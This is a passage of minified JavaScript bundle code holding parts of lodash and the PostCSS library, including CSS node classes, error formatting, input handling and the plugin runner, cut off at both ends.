ya(t)+e},Qr.upperCase=Va,Qr.upperFirst=za,Qr.each=ys,Qr.eachRight=vs,Qr.first=Jo,ll(Qr,(wl={},xn(Qr,function(t,e){jt.call(Qr.prototype,e)||(wl[e]=t)}),wl),{chain:!1}),Qr.VERSION=\"4.17.23\",De([\"bind\",\"bindKey\",\"curry\",\"curryRight\",\"partial\",\"partialRight\"],function(t){Qr[t].placeholder=Qr}),De([\"drop\",\"take\"],function(t,e){Kr.prototype[t]=function(r){r=r===i?1:Ar(ga(r),0);var n=this.__filtered__&&!e?new Kr(this):this.clone();return n.__filtered__?n.__takeCount__=yr(r,n.__takeCount__):n.__views__.push({size:yr(r,f),type:t+(n.__dir__<0?\"Right\":\"\")}),n},Kr.prototype[t+\"Right\"]=function(e){return this.reverse()[t](e).reverse()}}),De([\"filter\",\"map\",\"takeWhile\"],function(t,e){var r=e+1,n=1==r||3==r;Kr.prototype[t]=function(t){var e=this.clone();return e.__iteratees__.push({iteratee:co(t,3),type:r}),e.__filtered__=e.__filtered__||n,e}}),De([\"head\",\"last\"],function(t,e){var r=\"take\"+(e?\"Right\":\"\");Kr.prototype[t]=function(){return this[r](1).value()[0]}}),De([\"initial\",\"tail\"],function(t,e){var r=\"drop\"+(e?\"\":\"Right\");Kr.prototype[t]=function(){return this.__filtered__?new Kr(this):this[r](1)}}),Kr.prototype.compact=function(){return this.filter(il)},Kr.prototype.find=function(t){return this.filter(t).head()},Kr.prototype.findLast=function(t){return this.reverse().find(t)},Kr.prototype.invokeMap=zn(function(t,e){return\"function\"==typeof t?new Kr(this):this.map(function(r){return On(r,t,e)})}),Kr.prototype.reject=function(t){return this.filter(js(co(t)))},Kr.prototype.slice=function(t,e){t=ga(t);var r=this;return r.__filtered__&&(t>0||e<0)?new Kr(r):(t<0?r=r.takeRight(-t):t&&(r=r.drop(t)),e!==i&&(r=(e=ga(e))<0?r.dropRight(-e):r.take(e-t)),r)},Kr.prototype.takeRightWhile=function(t){return this.reverse().takeWhile(t).reverse()},Kr.prototype.toArray=function(){return this.take(f)},xn(Kr.prototype,function(t,e){var r=/^(?:filter|find|map|reject)|While$/.test(e),n=/^(?:head|last)$/.test(e),o=Qr[n?\"take\"+(\"last\"==e?\"Right\":\"\"):e],s=n||/^find/.test(e);o&&(Qr.prototype[e]=function(){var e=this.__wrapped__,a=n?[1]:arguments,l=e instanceof Kr,c=a[0],u=l||Hs(e),d=function(t){var e=o.apply(Qr,je([t],a));return n&&p?e[0]:e};u&&r&&\"function\"==typeof c&&1!=c.length&&(l=u=!1);var p=this.__chain__,m=!!this.__actions__.length,h=s&&!p,g=l&&!m;if(!s&&u){e=g?e:new Kr(this);var f=t.apply(e,a);return f.__actions__.push({func:hs,args:[d],thisArg:i}),new Ur(f,p)}return h&&g?t.apply(this,a):(f=this.thru(d),h?n?f.value()[0]:f.value():f)})}),De([\"pop\",\"push\",\"shift\",\"sort\",\"splice\",\"unshift\"],function(t){var e=Ot[t],r=/^(?:push|sort|unshift)$/.test(t)?\"tap\":\"thru\",n=/^(?:pop|shift)$/.test(t);Qr.prototype[t]=function(){var t=arguments;if(n&&!this.__chain__){var i=this.value();return e.apply(Hs(i)?i:[],t)}return this[r](function(r){return e.apply(Hs(r)?r:[],t)})}}),xn(Kr.prototype,function(t,e){var r=Qr[e];if(r){var n=r.name+\"\";jt.call(Or,n)||(Or[n]=[]),Or[n].push({name:e,func:r})}}),Or[Gi(i,2).name]=[{name:\"wrapper\",func:i}],Kr.prototype.clone=function(){var t=new Kr(this.__wrapped__);return t.__actions__=Bi(this.__actions__),t.__dir__=this.__dir__,t.__filtered__=this.__filtered__,t.__iteratees__=Bi(this.__iteratees__),t.__takeCount__=this.__takeCount__,t.__views__=Bi(this.__views__),t},Kr.prototype.reverse=function(){if(this.__filtered__){var t=new Kr(this);t.__dir__=-1,t.__filtered__=!0}else(t=this.clone()).__dir__*=-1;return t},Kr.prototype.value=function(){var t=this.__wrapped__.value(),e=this.__dir__,r=Hs(t),n=e<0,i=r?t.length:0,o=function(t,e,r){var n=-1,i=r.length;for(;++n<i;){var o=r[n],s=o.size;switch(o.type){case\"drop\":t+=s;break;case\"dropRight\":e-=s;break;case\"take\":e=yr(e,t+s);break;case\"takeRight\":t=Ar(t,e-s)}}return{start:t,end:e}}(0,i,this.__views__),s=o.start,a=o.end,l=a-s,c=n?a:s-1,u=this.__iteratees__,d=u.length,p=0,m=yr(l,this.__takeCount__);if(!r||!n&&i==l&&m==l)return gi(t,this.__actions__);var h=[];t:for(;l--&&p<m;){for(var g=-1,f=t[c+=e];++g<d;){var b=u[g],A=b.iteratee,y=b.type,v=A(f);if(2==y)f=v;else if(!v){if(1==y)continue t;break t}}h[p++]=f}return h},Qr.prototype.at=gs,Qr.prototype.chain=function(){return ms(this)},Qr.prototype.commit=function(){return new Ur(this.value(),this.__chain__)},Qr.prototype.next=function(){this.__values__===i&&(this.__values__=ma(this.value()));var t=this.__index__>=this.__values__.length;return{done:t,value:t?i:this.__values__[this.__index__++]}},Qr.prototype.plant=function(t){for(var e,r=this;r instanceof Wr;){var n=Qo(r);n.__index__=0,n.__values__=i,e?o.__wrapped__=n:e=n;var o=n;r=r.__wrapped__}return o.__wrapped__=t,e},Qr.prototype.reverse=function(){var t=this.__wrapped__;if(t instanceof Kr){var e=t;return this.__actions__.length&&(e=new Kr(this)),(e=e.reverse()).__actions__.push({func:hs,args:[es],thisArg:i}),new Ur(e,this.__chain__)}return this.thru(es)},Qr.prototype.toJSON=Qr.prototype.valueOf=Qr.prototype.value=function(){return gi(this.__wrapped__,this.__actions__)},Qr.prototype.first=Qr.prototype.head,Xt&&(Qr.prototype[Xt]=function(){return this}),Qr}();ge._=br,(n=function(){return br}.call(e,r,e,t))===i||(t.exports=n)}.call(this)},9466(t,e){var r,n,i;n=[],void 0===(i=\"function\"==typeof(r=function(){return function(t){function e(t){return\" \"===t||\"\\t\"===t||\"\\n\"===t||\"\\f\"===t||\"\\r\"===t}function r(e){var r,n=e.exec(t.substring(g));if(n)return r=n[0],g+=r.length,r}for(var n,i,o,s,a,l=t.length,c=/^[ \\t\\n\\r\\u000c]+/,u=/^[, \\t\\n\\r\\u000c]+/,d=/^[^ \\t\\n\\r\\u000c]+/,p=/[,]+$/,m=/^\\d+$/,h=/^-?(?:[0-9]+|[0-9]*\\.[0-9]+)(?:[eE][+-]?[0-9]+)?$/,g=0,f=[];;){if(r(u),g>=l)return f;n=r(d),i=[],\",\"===n.slice(-1)?(n=n.replace(p,\"\"),A()):b()}function b(){for(r(c),o=\"\",s=\"in descriptor\";;){if(a=t.charAt(g),\"in descriptor\"===s)if(e(a))o&&(i.push(o),o=\"\",s=\"after descriptor\");else{if(\",\"===a)return g+=1,o&&i.push(o),void A();if(\"(\"===a)o+=a,s=\"in parens\";else{if(\"\"===a)return o&&i.push(o),void A();o+=a}}else if(\"in parens\"===s)if(\")\"===a)o+=a,s=\"in descriptor\";else{if(\"\"===a)return i.push(o),void A();o+=a}else if(\"after descriptor\"===s)if(e(a));else{if(\"\"===a)return void A();s=\"in descriptor\",g-=1}g+=1}}function A(){var e,r,o,s,a,l,c,u,d,p=!1,g={};for(s=0;s<i.length;s++)l=(a=i[s])[a.length-1],c=a.substring(0,a.length-1),u=parseInt(c,10),d=parseFloat(c),m.test(c)&&\"w\"===l?((e||r)&&(p=!0),0===u?p=!0:e=u):h.test(c)&&\"x\"===l?((e||r||o)&&(p=!0),d<0?p=!0:r=d):m.test(c)&&\"h\"===l?((o||r)&&(p=!0),0===u?p=!0:o=u):p=!0;p?console&&console.log&&console.log(\"Invalid srcset descriptor found in '\"+t+\"' at '\"+a+\"'.\"):(g.url=n,e&&(g.w=e),r&&(g.d=r),o&&(g.h=o),f.push(g))}}})?r.apply(e,n):r)||(t.exports=i)},8633(t){var e=String,r=function(){return{isColorSupported:!1,reset:e,bold:e,dim:e,italic:e,underline:e,inverse:e,hidden:e,strikethrough:e,black:e,red:e,green:e,yellow:e,blue:e,magenta:e,cyan:e,white:e,gray:e,bgBlack:e,bgRed:e,bgGreen:e,bgYellow:e,bgBlue:e,bgMagenta:e,bgCyan:e,bgWhite:e,blackBright:e,redBright:e,greenBright:e,yellowBright:e,blueBright:e,magentaBright:e,cyanBright:e,whiteBright:e,bgBlackBright:e,bgRedBright:e,bgGreenBright:e,bgYellowBright:e,bgBlueBright:e,bgMagentaBright:e,bgCyanBright:e,bgWhiteBright:e}};t.exports=r(),t.exports.createColors=r},396(t,e,r){\"use strict\";let n=r(7793);class i extends n{constructor(t){super(t),this.type=\"atrule\"}append(...t){return this.proxyOf.nodes||(this.nodes=[]),super.append(...t)}prepend(...t){return this.proxyOf.nodes||(this.nodes=[]),super.prepend(...t)}}t.exports=i,i.default=i,n.registerAtRule(i)},9371(t,e,r){\"use strict\";let n=r(3152);class i extends n{constructor(t){super(t),this.type=\"comment\"}}t.exports=i,i.default=i},7793(t,e,r){\"use strict\";let n,i,o,s,a=r(9371),l=r(5238),c=r(3152),{isClean:u,my:d}=r(4151);function p(t){return t.map(t=>(t.nodes&&(t.nodes=p(t.nodes)),delete t.source,t))}function m(t){if(t[u]=!1,t.proxyOf.nodes)for(let e of t.proxyOf.nodes)m(e)}class h extends c{get first(){if(this.proxyOf.nodes)return this.proxyOf.nodes[0]}get last(){if(this.proxyOf.nodes)return this.proxyOf.nodes[this.proxyOf.nodes.length-1]}append(...t){for(let e of t){let t=this.normalize(e,this.last);for(let e of t)this.proxyOf.nodes.push(e)}return this.markDirty(),this}cleanRaws(t){if(super.cleanRaws(t),this.nodes)for(let e of this.nodes)e.cleanRaws(t)}each(t){if(!this.proxyOf.nodes)return;let e,r,n=this.getIterator();for(;this.indexes[n]<this.proxyOf.nodes.length&&(e=this.indexes[n],r=t(this.proxyOf.nodes[e],e),!1!==r);)this.indexes[n]+=1;return delete this.indexes[n],r}every(t){return this.nodes.every(t)}getIterator(){this.lastEach||(this.lastEach=0),this.indexes||(this.indexes={}),this.lastEach+=1;let t=this.lastEach;return this.indexes[t]=0,t}getProxyProcessor(){return{get:(t,e)=>\"proxyOf\"===e?t:t[e]?\"each\"===e||\"string\"==typeof e&&e.startsWith(\"walk\")?(...r)=>t[e](...r.map(t=>\"function\"==typeof t?(e,r)=>t(e.toProxy(),r):t)):\"every\"===e||\"some\"===e?r=>t[e]((t,...e)=>r(t.toProxy(),...e)):\"root\"===e?()=>t.root().toProxy():\"nodes\"===e?t.nodes.map(t=>t.toProxy()):\"first\"===e||\"last\"===e?t[e].toProxy():t[e]:t[e],set:(t,e,r)=>(t[e]===r||(t[e]=r,\"name\"!==e&&\"params\"!==e&&\"selector\"!==e||t.markDirty()),!0)}}index(t){return\"number\"==typeof t?t:(t.proxyOf&&(t=t.proxyOf),this.proxyOf.nodes.indexOf(t))}insertAfter(t,e){let r,n=this.index(t),i=this.normalize(e,this.proxyOf.nodes[n]).reverse();n=this.index(t);for(let t of i)this.proxyOf.nodes.splice(n+1,0,t);for(let t in this.indexes)r=this.indexes[t],n<r&&(this.indexes[t]=r+i.length);return this.markDirty(),this}insertBefore(t,e){let r,n=this.index(t),i=0===n&&\"prepend\",o=this.normalize(e,this.proxyOf.nodes[n],i).reverse();n=this.index(t);for(let t of o)this.proxyOf.nodes.splice(n,0,t);for(let t in this.indexes)r=this.indexes[t],n<=r&&(this.indexes[t]=r+o.length);return this.markDirty(),this}normalize(t,e){if(\"string\"==typeof t)t=p(i(t).nodes);else if(void 0===t)t=[];else if(Array.isArray(t)){t=t.slice(0);for(let e of t)e.parent&&e.parent.removeChild(e,\"ignore\")}else if(\"root\"===t.type&&\"document\"!==this.type){t=t.nodes.slice(0);for(let e of t)e.parent&&e.parent.removeChild(e,\"ignore\")}else if(t.type)t=[t];else if(t.prop){if(void 0===t.value)throw new Error(\"Value field is missed in node creation\");\"string\"!=typeof t.value&&(t.value=String(t.value)),t=[new l(t)]}else if(t.selector||t.selectors)t=[new s(t)];else if(t.name)t=[new n(t)];else{if(!t.text)throw new Error(\"Unknown node type in node creation\");t=[new a(t)]}return t.map(t=>(t[d]||h.rebuild(t),(t=t.proxyOf).parent&&t.parent.removeChild(t),t[u]&&m(t),t.raws||(t.raws={}),void 0===t.raws.before&&e&&void 0!==e.raws.before&&(t.raws.before=e.raws.before.replace(/\\S/g,\"\")),t.parent=this.proxyOf,t))}prepend(...t){t=t.reverse();for(let e of t){let t=this.normalize(e,this.first,\"prepend\").reverse();for(let e of t)this.proxyOf.nodes.unshift(e);for(let e in this.indexes)this.indexes[e]=this.indexes[e]+t.length}return this.markDirty(),this}push(t){return t.parent=this,this.proxyOf.nodes.push(t),this}removeAll(){for(let t of this.proxyOf.nodes)t.parent=void 0;return this.proxyOf.nodes=[],this.markDirty(),this}removeChild(t){let e;t=this.index(t),this.proxyOf.nodes[t].parent=void 0,this.proxyOf.nodes.splice(t,1);for(let r in this.indexes)e=this.indexes[r],e>=t&&(this.indexes[r]=e-1);return this.markDirty(),this}replaceValues(t,e,r){return r||(r=e,e={}),this.walkDecls(n=>{e.props&&!e.props.includes(n.prop)||e.fast&&!n.value.includes(e.fast)||(n.value=n.value.replace(t,r))}),this.markDirty(),this}some(t){return this.nodes.some(t)}walk(t){return this.each((e,r)=>{let n;try{n=t(e,r)}catch(t){throw e.addToError(t)}return!1!==n&&e.walk&&(n=e.walk(t)),n})}walkAtRules(t,e){return e?t instanceof RegExp?this.walk((r,n)=>{if(\"atrule\"===r.type&&t.test(r.name))return e(r,n)}):this.walk((r,n)=>{if(\"atrule\"===r.type&&r.name===t)return e(r,n)}):(e=t,this.walk((t,r)=>{if(\"atrule\"===t.type)return e(t,r)}))}walkComments(t){return this.walk((e,r)=>{if(\"comment\"===e.type)return t(e,r)})}walkDecls(t,e){return e?t instanceof RegExp?this.walk((r,n)=>{if(\"decl\"===r.type&&t.test(r.prop))return e(r,n)}):this.walk((r,n)=>{if(\"decl\"===r.type&&r.prop===t)return e(r,n)}):(e=t,this.walk((t,r)=>{if(\"decl\"===t.type)return e(t,r)}))}walkRules(t,e){return e?t instanceof RegExp?this.walk((r,n)=>{if(\"rule\"===r.type&&t.test(r.selector))return e(r,n)}):this.walk((r,n)=>{if(\"rule\"===r.type&&r.selector===t)return e(r,n)}):(e=t,this.walk((t,r)=>{if(\"rule\"===t.type)return e(t,r)}))}}h.registerParse=t=>{i=t},h.registerRule=t=>{s=t},h.registerAtRule=t=>{n=t},h.registerRoot=t=>{o=t},t.exports=h,h.default=h,h.rebuild=t=>{\"atrule\"===t.type?Object.setPrototypeOf(t,n.prototype):\"rule\"===t.type?Object.setPrototypeOf(t,s.prototype):\"decl\"===t.type?Object.setPrototypeOf(t,l.prototype):\"comment\"===t.type?Object.setPrototypeOf(t,a.prototype):\"root\"===t.type&&Object.setPrototypeOf(t,o.prototype),t[d]=!0,t.nodes&&t.nodes.forEach(t=>{h.rebuild(t)})}},3614(t,e,r){\"use strict\";let n=r(8633),i=r(9746);class o extends Error{constructor(t,e,r,n,i,s){super(t),this.name=\"CssSyntaxError\",this.reason=t,i&&(this.file=i),n&&(this.source=n),s&&(this.plugin=s),void 0!==e&&void 0!==r&&(\"number\"==typeof e?(this.line=e,this.column=r):(this.line=e.line,this.column=e.column,this.endLine=r.line,this.endColumn=r.column)),this.setMessage(),Error.captureStackTrace&&Error.captureStackTrace(this,o)}setMessage(){this.message=this.plugin?this.plugin+\": \":\"\",this.message+=this.file?this.file:\"<css input>\",void 0!==this.line&&(this.message+=\":\"+this.line+\":\"+this.column),this.message+=\": \"+this.reason}showSourceCode(t){if(!this.source)return\"\";let e=this.source;null==t&&(t=n.isColorSupported);let r=t=>t,o=t=>t,s=t=>t;if(t){let{bold:t,gray:e,red:a}=n.createColors(!0);o=e=>t(a(e)),r=t=>e(t),i&&(s=t=>i(t))}let a=e.split(/\\r?\\n/),l=Math.max(this.line-3,0),c=Math.min(this.line+2,a.length),u=String(c).length;return a.slice(l,c).map((t,e)=>{let n=l+1+e,i=\" \"+(\" \"+n).slice(-u)+\" | \";if(n===this.line){if(t.length>160){let e=20,n=Math.max(0,this.column-e),a=Math.max(this.column+e,this.endColumn+e),l=t.slice(n,a),c=r(i.replace(/\\d/g,\" \"))+t.slice(0,Math.min(this.column-1,e-1)).replace(/[^\\t]/g,\" \");return o(\">\")+r(i)+s(l)+\"\\n \"+c+o(\"^\")}let e=r(i.replace(/\\d/g,\" \"))+t.slice(0,this.column-1).replace(/[^\\t]/g,\" \");return o(\">\")+r(i)+s(t)+\"\\n \"+e+o(\"^\")}return\" \"+r(i)+s(t)}).join(\"\\n\")}toString(){let t=this.showSourceCode();return t&&(t=\"\\n\\n\"+t+\"\\n\"),this.name+\": \"+this.message+t}}t.exports=o,o.default=o},5238(t,e,r){\"use strict\";let n=r(3152);class i extends n{get variable(){return this.prop.startsWith(\"--\")||\"$\"===this.prop[0]}constructor(t){t&&void 0!==t.value&&\"string\"!=typeof t.value&&(t={...t,value:String(t.value)}),super(t),this.type=\"decl\"}}t.exports=i,i.default=i},145(t,e,r){\"use strict\";let n,i,o=r(7793);class s extends o{constructor(t){super({type:\"document\",...t}),this.nodes||(this.nodes=[])}toResult(t={}){return new n(new i,this,t).stringify()}}s.registerLazyResult=t=>{n=t},s.registerProcessor=t=>{i=t},t.exports=s,s.default=s},3438(t,e,r){\"use strict\";let n=r(396),i=r(9371),o=r(5238),s=r(1106),a=r(3878),l=r(5644),c=r(1534);function u(t,e){if(Array.isArray(t))return t.map(t=>u(t));let{inputs:r,...d}=t;if(r){e=[];for(let t of r){let r={...t,__proto__:s.prototype};r.map&&(r.map={...r.map,__proto__:a.prototype}),e.push(r)}}if(d.nodes&&(d.nodes=t.nodes.map(t=>u(t,e))),d.source){let{inputId:t,...r}=d.source;d.source=r,null!=t&&(d.source.input=e[t])}if(\"root\"===d.type)return new l(d);if(\"decl\"===d.type)return new o(d);if(\"rule\"===d.type)return new c(d);if(\"comment\"===d.type)return new i(d);if(\"atrule\"===d.type)return new n(d);throw new Error(\"Unknown node type: \"+t.type)}t.exports=u,u.default=u},1106(t,e,r){\"use strict\";let{nanoid:n}=r(5042),{isAbsolute:i,resolve:o}=r(197),{SourceMapConsumer:s,SourceMapGenerator:a}=r(1866),{fileURLToPath:l,pathToFileURL:c}=r(2739),u=r(3614),d=r(3878),p=r(9746),m=Symbol(\"lineToIndexCache\"),h=Boolean(s&&a),g=Boolean(o&&i);function f(t){if(t[m])return t[m];let e=t.css.split(\"\\n\"),r=new Array(e.length),n=0;for(let t=0,i=e.length;t<i;t++)r[t]=n,n+=e[t].length+1;return t[m]=r,r}class b{get from(){return this.file||this.id}constructor(t,e={}){if(null==t||\"object\"==typeof t&&!t.toString)throw new Error(`PostCSS received ${t} instead of CSS string`);if(this.css=t.toString(),\"\\ufeff\"===this.css[0]||\"￾\"===this.css[0]?(this.hasBOM=!0,this.css=this.css.slice(1)):this.hasBOM=!1,this.document=this.css,e.document&&(this.document=e.document.toString()),e.from&&(!g||/^\\w+:\\/\\//.test(e.from)||i(e.from)?this.file=e.from:this.file=o(e.from)),g&&h){let t=new d(this.css,e);if(t.text){this.map=t;let e=t.consumer().file;!this.file&&e&&(this.file=this.mapResolve(e))}}this.file||(this.id=\"<input css \"+n(6)+\">\"),this.map&&(this.map.file=this.from)}error(t,e,r,n={}){let i,o,s,a,l;if(e&&\"object\"==typeof e){let t=e,n=r;if(\"number\"==typeof t.offset){a=t.offset;let n=this.fromOffset(a);e=n.line,r=n.col}else e=t.line,r=t.column,a=this.fromLineAndColumn(e,r);if(\"number\"==typeof n.offset){s=n.offset;let t=this.fromOffset(s);o=t.line,i=t.col}else o=n.line,i=n.column,s=this.fromLineAndColumn(n.line,n.column)}else if(r)a=this.fromLineAndColumn(e,r);else{a=e;let t=this.fromOffset(a);e=t.line,r=t.col}let d=this.origin(e,r,o,i);return l=d?new u(t,void 0===d.endLine?d.line:{column:d.column,line:d.line},void 0===d.endLine?d.column:{column:d.endColumn,line:d.endLine},d.source,d.file,n.plugin):new u(t,void 0===o?e:{column:r,line:e},void 0===o?r:{column:i,line:o},this.css,this.file,n.plugin),l.input={column:r,endColumn:i,endLine:o,endOffset:s,line:e,offset:a,source:this.css},this.file&&(c&&(l.input.url=c(this.file).toString()),l.input.file=this.file),l}fromLineAndColumn(t,e){return f(this)[t-1]+e-1}fromOffset(t){let e=f(this),r=0;if(t>=e[e.length-1])r=e.length-1;else{let n,i=e.length-2;for(;r<i;)if(n=r+(i-r>>1),t<e[n])i=n-1;else{if(!(t>=e[n+1])){r=n;break}r=n+1}}return{col:t-e[r]+1,line:r+1}}mapResolve(t){return/^\\w+:\\/\\//.test(t)?t:o(this.map.consumer().sourceRoot||this.map.root||\".\",t)}origin(t,e,r,n){if(!this.map)return!1;let o,s,a=this.map.consumer(),u=a.originalPositionFor({column:e,line:t});if(!u.source)return!1;\"number\"==typeof r&&(o=a.originalPositionFor({column:n,line:r})),s=i(u.source)?c(u.source):new URL(u.source,this.map.consumer().sourceRoot||c(this.map.mapFile));let d={column:u.column,endColumn:o&&o.column,endLine:o&&o.line,line:u.line,url:s.toString()};if(\"file:\"===s.protocol){if(!l)throw new Error(\"file: protocol is not available in this PostCSS build\");d.file=l(s)}let p=a.sourceContentFor(u.source);return p&&(d.source=p),d}toJSON(){let t={};for(let e of[\"hasBOM\",\"css\",\"file\",\"id\"])null!=this[e]&&(t[e]=this[e]);return this.map&&(t.map={...this.map},t.map.consumerCache&&(t.map.consumerCache=void 0)),t}}t.exports=b,b.default=b,p&&p.registerInput&&p.registerInput(b)},6966(t,e,r){\"use strict\";let n=r(7793),i=r(145),o=r(3604),s=r(9577),a=r(3717),l=r(5644),c=r(3303),{isClean:u,my:d}=r(4151);r(6156);const p={atrule:\"AtRule\",comment:\"Comment\",decl:\"Declaration\",document:\"Document\",root:\"Root\",rule:\"Rule\"},m={AtRule:!0,AtRuleExit:!0,Comment:!0,CommentExit:!0,Declaration:!0,DeclarationExit:!0,Document:!0,DocumentExit:!0,Once:!0,OnceExit:!0,postcssPlugin:!0,prepare:!0,Root:!0,RootExit:!0,Rule:!0,RuleExit:!0},h={Once:!0,postcssPlugin:!0,prepare:!0};function g(t){return\"object\"==typeof t&&\"function\"==typeof t.then}function f(t){let e=!1,r=p[t.type];return\"decl\"===t.type?e=t.prop.toLowerCase():\"atrule\"===t.type&&(e=t.name.toLowerCase()),e&&t.append?[r,r+\"-\"+e,0,r+\"Exit\",r+\"Exit-\"+e]:e?[r,r+\"-\"+e,r+\"Exit\",r+\"Exit-\"+e]:t.append?[r,0,r+\"Exit\"]:[r,r+\"Exit\"]}function b(t){let e;return e=\"document\"===t.type?[\"Document\",0,\"DocumentExit\"]:\"root\"===t.type?[\"Root\",0,\"RootExit\"]:f(t),{eventIndex:0,events:e,iterator:0,node:t,visitorIndex:0,visitors:[]}}function A(t){return t[u]=!1,t.nodes&&t.nodes.forEach(t=>A(t)),t}let y={};class v{get content(){return this.stringify().content}get css(){return this.stringify().css}get map(){return this.stringify().map}get messages(){return this.sync().messages}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){return this.sync().root}get[Symbol.toStringTag](){return\"LazyResult\"}constructor(t,e,r){let i;if(this.stringified=!1,this.processed=!1,\"object\"!=typeof e||null===e||\"root\"!==e.type&&\"document\"!==e.type)if(e instanceof v||e instanceof a)i=A(e.root),e.map&&(void 0===r.map&&(r.map={}),r.map.inline||(r.map.inline=!1),r.map.prev=e.map);else{let t=s;r.syntax&&(t=r.syntax.parse),r.parser&&(t=r.parser),t.parse&&(t=t.parse);try{i=t(e,r)}catch(t){this.processed=!0,this.error=t}i&&!i[d]&&n.rebuild(i)}else i=A(e);this.result=new a(t,i,r),this.helpers={...y,postcss:y,result:this.result},this.plugins=this.processor.plugins.map(t=>\"object\"==typeof t&&t.prepare?{...t,...t.prepare(this.result)}:t)}async(){return this.error?Promise.reject(this.error):this.processed?Promise.resolve(this.result):(this.processing||(this.processing=this.runAsync()),this.processing)}catch(t){return this.async().catch(t)}finally(t){return this.async().then(t,t)}getAsyncError(){throw new Error(\"Use process(css).then(cb) to work with async plugins\")}handleError(t,e){let r=this.result.lastPlugin;try{e&&e.addToError(t),this.error=t,\"CssSyntaxError\"!==t.name||t.plugin?r.postcssVersion:(t.plugin=r.postcssPlugin,t.setMessage())}catch(t){console&&console.error&&console.error(t)}return t}prepareVisitors(){this.listeners={};let t=(t,e,r)=>{this.listeners[e]||(this.listeners[e]=[]),this.listeners[e].push([t,r])};for(let e of this.plugins)if(\"object\"==typeof e)for(let r in e){if(!m[r]&&/^[A-Z]/.test(r))throw new Error(`Unknown event ${r} in ${e.postcssPlugin}. Try to update PostCSS (${this.processor.version} now).`);if(!h[r])if(\"object\"==typeof e[r])for(let n in e[r])t(e,\"*\"===n?r:r+\"-\"+n.toLowerCase(),e[r][n]);else\"function\"==typeof e[r]&&t(e,r,e[r])}this.hasListener=Object.keys(this.listeners).length>0}async runAsync(){this.plugin=0;for(let t=0;t<this.plugins.length;t++){let e=this.plugins[t],r=this.runOnRoot(e);if(g(r))try{await r}catch(t){throw this.handleError(t)}}if(this.prepareVisitors(),this.hasListener){let t=this.result.root;for(;!t[u];){t[u]=!0;let e=[b(t)];for(;e.length>0;){let t=this.visitTick(e);if(g(t))try{await t}catch(t){let r=e[e.length-1].node;throw this.handleError(t,r)}}}if(this.listeners.OnceExit)for(let[e,r]of this.listeners.OnceExit){this.result.lastPlugin=e;try{if(\"document\"===t.type){let e=t.nodes.map(t=>r(t,this.helpers));await Promise.all(e)}else await r(t,this.helpers)}catch(t){throw this.handleError(t)}}}return this.processed=!0,this.stringify()}runOnRoot(t){this.result.lastPlugin=t;try{if(\"object\"==typeof t&&t.Once){if(\"document\"===this.result.root.type){let e=this.result.root.nodes.map(e=>t.Once(e,this.helpers));return g(e[0])?Promise.all(e):e}return t.Once(this.result.root,this.helpers)}if(\"function\"==typeof t)return t(this.result.root,this.result)}catch(t){throw this.handleError(t)}}stringify(){if(this.error)throw this.error;if(this.stringified)return this.result;this.stringified=!0,this.sync();let t=this.result.opts,e=c;t.syntax&&(e=t.syntax.stringify),t.stringifier&&(e=t.stringifier),e.stringify&&(e=e.stringify);let r=new o(e,this.result.root,this.result.opts).generate();return this.result.css=r[0],this.result.map=r[1],this.result}sync(){if(this.error)throw this.error;if(this.processed)return this.result;if(this.processed=!0,this.processing)throw this.getAsyncError();for(let t of this.plugins){if(g(this.runOnRoot(t)))throw this.getAsyncError()}if(this.prepareVisitors(),this.hasListener){let t=this.result.root;for(;!t[u];)t[u]=!0,this.walkSync(t);if(this.listeners.OnceExit)if(\"document\"===t.type)for(let e of t.nodes)this.visitSync(this.listeners.OnceExit,e);else this.visitSync(this.listeners.OnceExit,t)}return this.result}then(t,e){return this.async().then(t,e)}toString(){return this.css}visitSync(t,e){for(let[r,n]of t){let t;this.result.lastPlugin=r;try{t=n(e,this.helpers)}catch(t){throw this.handleError(t,e.proxyOf)}if(\"root\"!==e.type&&\"document\"!==e.type&&!e.parent)return!0;if(g(t))throw this.getAsyncError()}}visitTick(t){let e=t[t.length-1],{node:r,visitors:n}=e;if(\"root\"!==r.type&&\"document\"!==r.type&&!r.parent)return void t.pop();if(n.length>0&&e.visitorIndex<n.length){let[t,i]=n[e.visitorIndex];e.visitorIndex+=1,e.visitorIndex===n.length&&(e.visitors=[],e.visitorIndex=0),this.result.lastPlugin=t;try{return i(r.toProxy(),this.helpers)}catch(t){throw this.handleError(t,r)}}if(0!==e.iterator){let n,i=e.iterator;for(;n=r.nodes[r.indexes[i]];)if(r.indexes[i]+=1,!n[u])return n[u]=!0,void t.push(b(n));e.iterator=0,delete r.indexes[i]}let i=e.events;for(;e.eventIndex<i.length;){let t=i[e.eventIndex];if(e.eventIndex+=1,0===t)return void(r.nodes&&r.nodes.length&&(r[u]=!0,e.iterator=r.getIterator()));if(this.listeners[t])return void(e.visitors=this.listeners[t])}t.pop()}walkSync(t){t[u]=!0;let e=f(t);for(let r of e)if(0===r)t.nodes&&t.each(t=>{t[u]||this.walkSync(t)});else{let e=this.listeners[r];if(e&&this.visitSync(e,t.toProxy()))return}}warnings(){return this.sync().warnings()}}v.registerPostcss=t=>{y=t},t.exports=v,v.default=v,l.registerLazyResult(v),i.registerLazyResult(v)},1752(t){\"use strict\";let e={comma:t=>e.split(t,[\",\"],!0),space:t=>e.split(t,[\" \",\"\\n\",\"\\t\"]),split(t,e,r){let n=[],i=\"\",o=!1,s=0,a=!1,l=\"\",c=!1;for(let r of t)c?c=!1:\"\\\\\"===r?c=!0:a?r===l&&(a=!1):'\"'===r||\"'\"===r?(a=!0,l=r):\"(\"===r?s+=1:\")\"===r?s>0&&(s-=1):0===s&&e.includes(r)&&(o=!0),o?(\"\"!==i&&n.push(i.trim()),i=\"\",o=!1):i+=r;return(r||\"\"!==i)&&n.push(i.trim()),n}};t.exports=e,e.default=e},3604(t,e,r){\"use strict\";let{dirname:n,relative:i,resolve:o,sep:s}=r(197),{SourceMapConsumer:a,SourceMapGenerator:l}=r(1866),{pathToFileURL:c}=r(2739),u=r(1106),d=Boolean(a&&l),p=Boolean(n&&o&&i&&s);t.exports=class{constructor(t,e,r,n){this.stringify=t,this.mapOpts=r.map||{},this.root=e,this.opts=r,this.css=n,this.originalCSS=n,this.usesFileUrls=!this.mapOpts.from&&this.mapOpts.absolute,this.memoizedFileURLs=new Map,this.memoizedPaths=new Map,this.memoizedURLs=new Map}addAnnotation(){let t;t=this.isInline()?\"data:application/json;base64,\"+this.toBase64(this.map.toString()):\"string\"==typeof this.mapOpts.annotation?this.mapOpts.annotation:\"function\"==typeof this.mapOpts.annotation?this.mapOpts.annotation(this.opts.to,this.root):this.outputFile()+\".map\";let 